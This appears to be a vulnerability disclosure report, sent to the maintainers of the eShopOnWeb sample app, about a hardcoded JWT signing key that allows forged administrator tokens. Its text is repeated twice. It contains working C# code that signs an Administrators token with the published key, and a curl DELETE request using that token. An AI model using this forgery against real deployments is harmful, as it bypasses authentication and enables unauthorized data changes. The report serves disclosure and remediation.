Hello Microsoft Learning team,
I hope you are doing well.
Before sharing the finding, I wanted to clarify one point: is SecretKeyOfDoomThatMustBeAMinimumNumberOfBytes intentionally limited to local teaching use and expected never to be deployed outside the sample environment?
If so, could the teaching material also demonstrate the safer deployment principle: inject a unique secret at runtime, rotate it, fail closed when it is missing, and separate local/demo configuration from production configuration? This would preserve the teaching goal while making the security model explicit.
The surrounding comments suggest that this is a known teaching placeholder. The README also presents eShopOnWeb as a reference application, while the official Azure configuration deploys only the Web application. However, PublicApi is runnable, documented, and contains JWT-protected administrative endpoints. If it is ever exposed as part of a copied or customized deployment, the same value enables administrator token forgery.
For clarity, the concise report is included below.
Hardcoded JWT signing key enables forged administrator tokens
Repository: MicrosoftLearning/eShopOnWeb
Branch: main at commit 4306a451e8e376ab4c11bb68ceb894f55b3947f8
Verdict: Conditional security issue. The impact requires the optional PublicApi application to be exposed.
Weaknesses: CWE-798 (Use of Hard-coded Credentials), CWE-1188 (Insecure Default Initialization of a Resource)
Finding
The JWT signing key is public:
// TODO: Change this to an environment variable
public const string JWT_SECRET_KEY = "SecretKeyOfDoomThatMustBeAMinimumNumberOfBytes";
PublicApi uses this value as the symmetric JWT validation key at src/PublicApi/Program.cs:54-69:
var key = Encoding.ASCII.GetBytes(AuthorizationConstants.JWT_SECRET_KEY);
// ...
ValidateIssuerSigningKey = true,
IssuerSigningKey = new SymmetricSecurityKey(key),
ValidateIssuer = false,
ValidateAudience = false
The same key signs tokens containing the username and role claims at src/Infrastructure/Identity/IdentityTokenClaimService.cs:23-44.
Administrative endpoints trust those JWT role claims. For example, src/PublicApi/CatalogItemEndpoints/DeleteCatalogItemEndpoint.cs:18-25 accepts any token containing the Administrators role.
Therefore, anyone who can reach an exposed PublicApi instance can create a valid administrator token without knowing an administrator password.
Impact
- Authentication bypass for the JWT-protected
PublicApi.
- Forged
Administrators tokens.
- Unauthorized catalog creation, modification, or deletion through the protected endpoints.
- Potential access to any future endpoint that trusts the same JWT role claims.
The official azd configuration currently deploys only src/Web through azure.yaml:1-5, and the Web application uses cookie authentication. This limits the impact of this specific finding in the official deployment path. The risk applies when PublicApi is run separately and exposed, including through copied Docker or custom deployment configurations.
Offline proof of concept
This PoC only creates a token locally. It does not contact any target.
using System.IdentityModel.Tokens.Jwt;
using System.Security.Claims;
using System.Text;
using Microsoft.IdentityModel.Tokens;
const string secret = "SecretKeyOfDoomThatMustBeAMinimumNumberOfBytes";
var key = new SymmetricSecurityKey(Encoding.ASCII.GetBytes(secret));
var claims = new[]
{
new Claim(ClaimTypes.Name, "admin@microsoft.com"),
new Claim(ClaimTypes.Role, "Administrators")
};
var descriptor = new SecurityTokenDescriptor
{
Subject = new ClaimsIdentity(claims),
Expires = DateTime.UtcNow.AddHours(1),
SigningCredentials = new SigningCredentials(
key, SecurityAlgorithms.HmacSha256Signature)
};
var handler = new JwtSecurityTokenHandler();
Console.WriteLine(handler.WriteToken(handler.CreateToken(descriptor)));
A request carrying the generated token would be authorized by a reachable PublicApi endpoint such as:
curl -i -X DELETE https://target.example/api/catalog-items/1 \
-H "Authorization: Bearer $FORGED_TOKEN"
Expected secure result: 401 or 403.
Affected result: the token passes signature validation and the Administrators role check.
Remediation
- Remove the hardcoded JWT key from shared source code.
- Load a unique, high-entropy key from environment configuration or a secret manager.
- Fail closed if the key is missing or matches a known placeholder.
- Rotate the key for any exposed
PublicApi deployment.
- Add a test proving that a token signed with the published value is rejected.
- Mark
PublicApi as local/demo-only in the documentation, or provide a secure production configuration if it is intended to be deployed.
- Update the teaching deployment guidance to demonstrate runtime secret injection, rotation, fail-closed startup, and least-privilege separation between the Web application and
PublicApi.
Related works
This report is part of my ongoing security research. If anything is unclear or you would like to discuss the finding, please feel free to mention or contact me at any time. I would be genuinely pleased to contribute, even in a small way, to improving the security of eShopOnWeb.
Hello Microsoft Learning team,
I hope you are doing well.
Before sharing the finding, I wanted to clarify one point: is
SecretKeyOfDoomThatMustBeAMinimumNumberOfBytesintentionally limited to local teaching use and expected never to be deployed outside the sample environment?If so, could the teaching material also demonstrate the safer deployment principle: inject a unique secret at runtime, rotate it, fail closed when it is missing, and separate local/demo configuration from production configuration? This would preserve the teaching goal while making the security model explicit.
The surrounding comments suggest that this is a known teaching placeholder. The README also presents eShopOnWeb as a reference application, while the official Azure configuration deploys only the Web application. However,
PublicApiis runnable, documented, and contains JWT-protected administrative endpoints. If it is ever exposed as part of a copied or customized deployment, the same value enables administrator token forgery.For clarity, the concise report is included below.
Hardcoded JWT signing key enables forged administrator tokens
Repository: MicrosoftLearning/eShopOnWeb
Branch:
mainat commit4306a451e8e376ab4c11bb68ceb894f55b3947f8Verdict: Conditional security issue. The impact requires the optional
PublicApiapplication to be exposed.Weaknesses: CWE-798 (Use of Hard-coded Credentials), CWE-1188 (Insecure Default Initialization of a Resource)
Finding
The JWT signing key is public:
PublicApiuses this value as the symmetric JWT validation key atsrc/PublicApi/Program.cs:54-69:The same key signs tokens containing the username and role claims at
src/Infrastructure/Identity/IdentityTokenClaimService.cs:23-44.Administrative endpoints trust those JWT role claims. For example,
src/PublicApi/CatalogItemEndpoints/DeleteCatalogItemEndpoint.cs:18-25accepts any token containing theAdministratorsrole.Therefore, anyone who can reach an exposed
PublicApiinstance can create a valid administrator token without knowing an administrator password.Impact
PublicApi.Administratorstokens.The official
azdconfiguration currently deploys onlysrc/Webthroughazure.yaml:1-5, and the Web application uses cookie authentication. This limits the impact of this specific finding in the official deployment path. The risk applies whenPublicApiis run separately and exposed, including through copied Docker or custom deployment configurations.Offline proof of concept
This PoC only creates a token locally. It does not contact any target.
A request carrying the generated token would be authorized by a reachable
PublicApiendpoint such as:curl -i -X DELETE https://target.example/api/catalog-items/1 \ -H "Authorization: Bearer $FORGED_TOKEN"Expected secure result:
401or403.Affected result: the token passes signature validation and the
Administratorsrole check.Remediation
PublicApideployment.PublicApias local/demo-only in the documentation, or provide a secure production configuration if it is intended to be deployed.PublicApi.Related works
This report is part of my ongoing security research. If anything is unclear or you would like to discuss the finding, please feel free to mention or contact me at any time. I would be genuinely pleased to contribute, even in a small way, to improving the security of eShopOnWeb.